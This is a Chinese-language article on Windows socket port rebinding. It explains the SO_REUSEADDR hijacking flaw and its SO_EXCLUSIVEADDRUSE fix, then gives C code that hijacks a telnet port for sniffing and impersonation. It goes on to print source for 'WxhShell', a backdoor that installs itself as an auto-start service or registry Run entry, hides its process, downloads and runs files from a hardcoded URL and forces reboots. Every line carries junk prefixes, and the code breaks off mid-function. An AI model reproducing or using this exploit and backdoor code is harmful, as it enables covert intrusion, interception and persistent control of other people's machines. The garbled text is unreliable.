在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
eThaH0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
aTuu",f -fq saddr.sin_family = AF_INET;
K($l>PB,y@ l_^SU8i57 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
W,<q!<z\t !!y]pMjJa@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t}YcB`q) ?*fY$93O 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
vk92j? 7FG;fJ;&NZ 这意味着什么?意味着可以进行如下的攻击:
S(zp_ ;Bs~E 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
h1w({<q*ov l6/VJ~(}' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
K92j BR m4mE7Wn.3 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
O[Vet/^) s?w2^<P 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1xB}Ed*k [eX]x 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
rAH!%~ ("9bV8:@B 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
yQK{ +w tVAi0`DV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
&lQ%;)' 'ToE Y3 #include
y [8;mCh #include
zjpZ] $ #include
: ky`)F` #include
wjA
wJOw| DWORD WINAPI ClientThread(LPVOID lpParam);
!T{+s
T int main()
QyD0WC}i {
t6DSZ^Zq WORD wVersionRequested;
qoO`)< DWORD ret;
4&}%GH>} WSADATA wsaData;
ytZ o0pad BOOL val;
kxMvOB$ SOCKADDR_IN saddr;
paqGW] SOCKADDR_IN scaddr;
$DY#04Je\= int err;
Jo5B mh0 SOCKET s;
YM}a>o SOCKET sc;
@/z\p7e int caddsize;
M@Th^yF+8H HANDLE mt;
v(1 [n]y DWORD tid;
*f[5rr4 wVersionRequested = MAKEWORD( 2, 2 );
ABWn49c. err = WSAStartup( wVersionRequested, &wsaData );
[,o:nry'a if ( err != 0 ) {
,Z
q:na printf("error!WSAStartup failed!\n");
R}nvSerVb return -1;
v e&d"8+] }
1Bj.MQ^ saddr.sin_family = AF_INET;
/8x';hQ azP H~'E' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
lsz3'!%Y) Rx-\B$G saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
4p:d#,?r saddr.sin_port = htons(23);
Bs "D<r&ro if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
m2PUU/8B/ {
#Rw!a#CX. printf("error!socket failed!\n");
2u3Kyn return -1;
K10G+'H^ }
daE.y_9y val = TRUE;
;b<w'A_1 //SO_REUSEADDR选项就是可以实现端口重绑定的
'`>%RZ] if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?doI6N0T {
F.[%0b E printf("error!setsockopt failed!\n");
1}(22Q; return -1;
yf&g\ke }
O^L]2BVC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
i2=- su //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
pY31qhoZ. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
dGUP|O 0AQazhm if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
#])"1fk {
z`{sD] ret=GetLastError();
(GJtTp~2C4 printf("error!bind failed!\n");
_Mw3>GNl return -1;
OoB|Eh|), }
eZ'8JU] listen(s,2);
IW~R{ ]6 while(1)
TM)INo^ {
j4$nr=d.6 caddsize = sizeof(scaddr);
PLCm\Oh$l //接受连接请求
Na0^csPm sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
+kL7" if(sc!=INVALID_SOCKET)
aI=p_+.h {
6jq*lnA% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
aU!}j'5Q if(mt==NULL)
IZZAR {
c!EA>:;(< printf("Thread Creat Failed!\n");
tOIqX0dWd break;
on_h'?2 }
*u},(4Qf }
m<CrkKfpG CloseHandle(mt);
}z`x-(V }
&*`dRIQ] closesocket(s);
GwX)~.i WSACleanup();
pN9 ! return 0;
[\8rh^LFi }
VGS%U8; DWORD WINAPI ClientThread(LPVOID lpParam)
L!}!k N:? {
`<7\Zl SOCKET ss = (SOCKET)lpParam;
$$9H1)Ny SOCKET sc;
S\GWMB!oF unsigned char buf[4096];
8E%LhA. SOCKADDR_IN saddr;
#(^<qr long num;
"qmSwdM DWORD val;
*C_A(n5"V DWORD ret;
q/s-".%P //如果是隐藏端口应用的话,可以在此处加一些判断
K=gg <E< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
#C9f?fnM saddr.sin_family = AF_INET;
K#R]of~/ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
dxeiN#(XT saddr.sin_port = htons(23);
,/f\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&g:( I {
kWr1>})' printf("error!socket failed!\n");
U0&myj 8L return -1;
}-3 VK% }
Ip
t;NlR val = 100;
1eI*.pt if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
j.=:S; {
9Yt|Wj ret = GetLastError();
9UM)"I&k return -1;
H:.~!
r }
v "l).G? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
u?,>yf.;s {
;Q{D]4 ret = GetLastError();
a\P :jgF return -1;
,DFN:uf=l }
J!C \R5\ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
UC`h o%OBF {
KL$.E!d printf("error!socket connect failed!\n");
>|3Y+X closesocket(sc);
EyK!'9~a closesocket(ss);
M5I`i{Gw return -1;
g QBS#NY }
T+Yv5l while(1)
x^lcT {
}qWnn>h9xv //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
cH_qHXi[G //如果是嗅探内容的话,可以再此处进行内容分析和记录
+`d92T z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,^9+G"H:I num = recv(ss,buf,4096,0);
PzJ(Q if(num>0)
A7L; ims7 send(sc,buf,num,0);
[4"(\r\f else if(num==0)
P^te break;
f ,e]jw@ num = recv(sc,buf,4096,0);
/pF8S!,z if(num>0)
d+DO}=] send(ss,buf,num,0);
;hQ[- else if(num==0)
j/t%7, break;
8ZtJvk` }
ag'hHFV closesocket(ss);
@`[e1KQ closesocket(sc);
{
j_-iF return 0 ;
]xRR/S4 }
,!Wo6{' 8g-u %bw+>:Tr ==========================================================
g 4+K"Q/M 6FDj :~ 下边附上一个代码,,WXhSHELL
qc(e3x )>~jjR ==========================================================
jf)cDj2 ^\PRzY #include "stdafx.h"
';R]`vWFe QGN+f) #include <stdio.h>
=-^A;AO( #include <string.h>
x-i,v"8 #include <windows.h>
S(.J #include <winsock2.h>
nmpc<&<< #include <winsvc.h>
7rD 8 #include <urlmon.h>
eg;r38 z}-CU GS #pragma comment (lib, "Ws2_32.lib")
n
n F #pragma comment (lib, "urlmon.lib")
6%V:Z HS|Gz3~ #define MAX_USER 100 // 最大客户端连接数
$~5H-wJ #define BUF_SOCK 200 // sock buffer
#?)6^uTW #define KEY_BUFF 255 // 输入 buffer
j \rGU){
b_sasZo #define REBOOT 0 // 重启
B
W*8 #define SHUTDOWN 1 // 关机
& %/p;::A dOv\] #define DEF_PORT 5000 // 监听端口
DOyO`TJi 18X?CoM~ #define REG_LEN 16 // 注册表键长度
h1S)B|~8 #define SVC_LEN 80 // NT服务名长度
'`^~Zy?c .6MG#N // 从dll定义API
O.jm{x!m typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
YT-ua{.^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
i6yA>#^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
g#(+:^3' typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
'/`O*KD] @vq)Y2)r\ // wxhshell配置信息
cn}15JHdR struct WSCFG {
Q m*z int ws_port; // 监听端口
^?{&v19m char ws_passstr[REG_LEN]; // 口令
B-g-T>8 int ws_autoins; // 安装标记, 1=yes 0=no
ObM/~{rKx char ws_regname[REG_LEN]; // 注册表键名
{aA6b char ws_svcname[REG_LEN]; // 服务名
IhzY7U)}T char ws_svcdisp[SVC_LEN]; // 服务显示名
ou0TKE9
_ char ws_svcdesc[SVC_LEN]; // 服务描述信息
_1)n_P4 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
A@o7 int ws_downexe; // 下载执行标记, 1=yes 0=no
YC;@ ^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\JPMGcL char ws_filenam[SVC_LEN]; // 下载后保存的文件名
&&CrF~
_wXT9`|3 };
,q%X`F
rc 0WzoI2Q // default Wxhshell configuration
A< .5=E,/ struct WSCFG wscfg={DEF_PORT,
L:C/PnIV "xuhuanlingzhe",
g5U, 1,
MR|A_e^x "Wxhshell",
Foq3==*p "Wxhshell",
`XF[A8@h "WxhShell Service",
AyQ5jkIE^{ "Wrsky Windows CmdShell Service",
vRtERFL "Please Input Your Password: ",
9+ Mj$ 1,
MP}-7UA#K "
http://www.wrsky.com/wxhshell.exe",
> 3x^jh "Wxhshell.exe"
$cn8]*Z= };
a5Vlfx {;Hg1=cm // 消息定义模块
y#
\"yykB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
hpQ #`rhn char *msg_ws_prompt="\n\r? for help\n\r#>";
1q;R+65 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
6 wd char *msg_ws_ext="\n\rExit.";
Z42q}Fhm*R char *msg_ws_end="\n\rQuit.";
YKUAI+ks char *msg_ws_boot="\n\rReboot...";
1<~n2} char *msg_ws_poff="\n\rShutdown...";
CnuM=S: char *msg_ws_down="\n\rSave to ";
K'2N:.D: E
1`g8Hk' char *msg_ws_err="\n\rErr!";
KT<i%)t2 char *msg_ws_ok="\n\rOK!";
xY)eU;* !.%*Tp#k# char ExeFile[MAX_PATH];
K"[jrvZ= int nUser = 0;
Y->sJm HANDLE handles[MAX_USER];
)0I-N) int OsIsNt;
+|;Ri68 =P,mix| SERVICE_STATUS serviceStatus;
q2|x$5 SERVICE_STATUS_HANDLE hServiceStatusHandle;
c61 1& c|:EMYS // 函数声明
Q0`@=5?- int Install(void);
V}vL[=QFZ( int Uninstall(void);
/Gnt.%y& int DownloadFile(char *sURL, SOCKET wsh);
7V^j9TC int Boot(int flag);
K8KN<Q s] void HideProc(void);
E9k%:&]vd int GetOsVer(void);
|:SV=T: int Wxhshell(SOCKET wsl);
|Zn;O6c#L5 void TalkWithClient(void *cs);
ZuWhgnp int CmdShell(SOCKET sock);
e+#Oj int StartFromService(void);
}JOz,SQHP int StartWxhshell(LPSTR lpCmdLine);
>=rniHs=?7 /(||9\; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^xk4HF VOID WINAPI NTServiceHandler( DWORD fdwControl );
;s~xS*(C D]d! lMK/ // 数据结构和表定义
B^M
L}$ SERVICE_TABLE_ENTRY DispatchTable[] =
pHk$_t {
wqm{f~nj= {wscfg.ws_svcname, NTServiceMain},
Z
OAg7 {NULL, NULL}
[
s/j?/9 };
&
:W6O)uY `r&Ui%fk;0 // 自我安装
~eTp( XG int Install(void)
)w}'kih {
S&=@Hj- char svExeFile[MAX_PATH];
ZH=Bm^ HKEY key;
T+0z.E!~I strcpy(svExeFile,ExeFile);
i`6utOq S\ZCZ0 // 如果是win9x系统,修改注册表设为自启动
P5dD& if(!OsIsNt) {
ve a$G~[%6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
,]qc#KDq-1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
?l[#d7IB RegCloseKey(key);
[$$R>ELYQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;E{@)X..| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]ml 'd RegCloseKey(key);
} j6|+ return 0;
$h8?7:z;um }
Y$^vA[]c> }
j AoI`J }
"AqLR else {
WSF$xC/~ = ?/6hB=7< // 如果是NT以上系统,安装为系统服务
k,OxGG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
\\Zsxya1 if (schSCManager!=0)
U1yspHiZ {
ho#<?rh_ SC_HANDLE schService = CreateService
rWJRoGk/ (
yq2AZ@}" schSCManager,
wko9tdC=U wscfg.ws_svcname,
Z[RifqaBby wscfg.ws_svcdisp,
B}y#AVSA SERVICE_ALL_ACCESS,
]We0 RD"+ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
9l[C&0w#\ SERVICE_AUTO_START,
d]_].D$ SERVICE_ERROR_NORMAL,
BVv-1$ U^ svExeFile,
o|n+;h
NULL,
V#4ox km NULL,
~s?y[yy6i NULL,
DjZTr}%q NULL,
%"E!E1_Sv NULL
A[Ce3m );
.ezko\nU if (schService!=0)
ndBqXS {
*!NW!,R CloseServiceHandle(schService);
9$(N q CloseServiceHandle(schSCManager);
fP;I{AiN~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
0ly6 |: strcat(svExeFile,wscfg.ws_svcname);
gpbdK? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Vw.4;Zy( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
FAGi`X<L RegCloseKey(key);
n68qxD-X return 0;
O#^qd0e'P! }
sV%=z}n= }
5M>SrZH CloseServiceHandle(schSCManager);
oY\;KPz }
't\sXN+1 }
pP\^bjI :-2sKD y return 1;
C3<_0eI }
w(Mi? 6!U~dt#a // 自我卸载
4&L,QSJ V int Uninstall(void)
A6;[r #C {
]3U|K .G HKEY key;
/HSg) aO:A pOAO if(!OsIsNt) {
xy)W_~Mk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
I$TD[W RegDeleteValue(key,wscfg.ws_regname);
s,laJf RegCloseKey(key);
2{ hG",JL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
d)%l-jj9, RegDeleteValue(key,wscfg.ws_regname);
F9IPA% RegCloseKey(key);
$reQdN=~ return 0;
85H*Xm?d# }
zs-,Y@ZL }
cnDBT3$~Z }
pL.~z else {
v`jFWq8I, "LZv\c~v,% SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
3\B~`=*q/ if (schSCManager!=0)
=lh&oPc1 {
JS >"j d# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
7,{!a56zX if (schService!=0)
4tt=u]: {
AUU(fy#< if(DeleteService(schService)!=0) {
b Sg]FB aW CloseServiceHandle(schService);
&3 ~R-$P CloseServiceHandle(schSCManager);
(WGEX(| return 0;
n>lQ:l~ }
eYg0NEq{ CloseServiceHandle(schService);
DY87NS*HF }
Ban"H~ CloseServiceHandle(schSCManager);
NA$ODK- }
\7(OFT\u: }
tgrZs8? !6+V
return 1;
/jU4mPb;\D }
u])MI6LF I\82_t8 // 从指定url下载文件
;4vx+> - int DownloadFile(char *sURL, SOCKET wsh)
?l
0WuU {
Nm0|U.< HRESULT hr;
cl'qw## char seps[]= "/";
0te[i*G char *token;
$O9#4A; char *file;
M[Jy?b) char myURL[MAX_PATH];
i:^
8zW char myFILE[MAX_PATH];
*pGbcBQ y(r(q strcpy(myURL,sURL);
~HX'8\5 token=strtok(myURL,seps);
Ed"p|5~ while(token!=NULL)
;uU 8$ {
ZN`I4Ak file=token;
{<Vw55)#0Q token=strtok(NULL,seps);
8rjiW# }
gM
v0[~;u p:4oA<V GetCurrentDirectory(MAX_PATH,myFILE);
\//{\d strcat(myFILE, "\\");
Znh<r[p< strcat(myFILE, file);
#|} EPD9$ send(wsh,myFILE,strlen(myFILE),0);
PkdL] !: send(wsh,"...",3,0);
Kx,<-]4 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
RM`iOV,Y if(hr==S_OK)
*i7|~q/u return 0;
K&iU+ else
R?kyJ4S return 1;
Qb1hk*$= )G|'PXI@, }
(DKQHL; iC<qWq|S_m // 系统电源模块
+r]2. int Boot(int flag)
vj<JjGP {
?7aeY5p HANDLE hToken;
b U>.Bp] TOKEN_PRIVILEGES tkp;
, *Z!Bd8 <3bFt [ if(OsIsNt) {
ca$K)=cDW OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ivc/g, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
sMWNzt tkp.PrivilegeCount = 1;
y)+lU tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
-IG@v0_w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
H*EN199 if(flag==REBOOT) {
c0:`+>p2 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
m3 Rss~l return 0;
D3;#: }
DqBiBH[%h else {
mp>Ne6\Tu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,A!0:+ return 0;
p+1kU1F0 }
Sa$-Yf }
Eg#WR&Uq" else {
ksli-Px if(flag==REBOOT) {
^/$bd4,z if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
kt hy9<!$ return 0;
agPTY{; }
(%iCP/E3 else {
7 +kU 8} if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
-|&&lxrwh return 0;
MJI`1*( }
:0j_I\L }
rIWQD%Afm %8g1h)F"S return 1;
7F wot&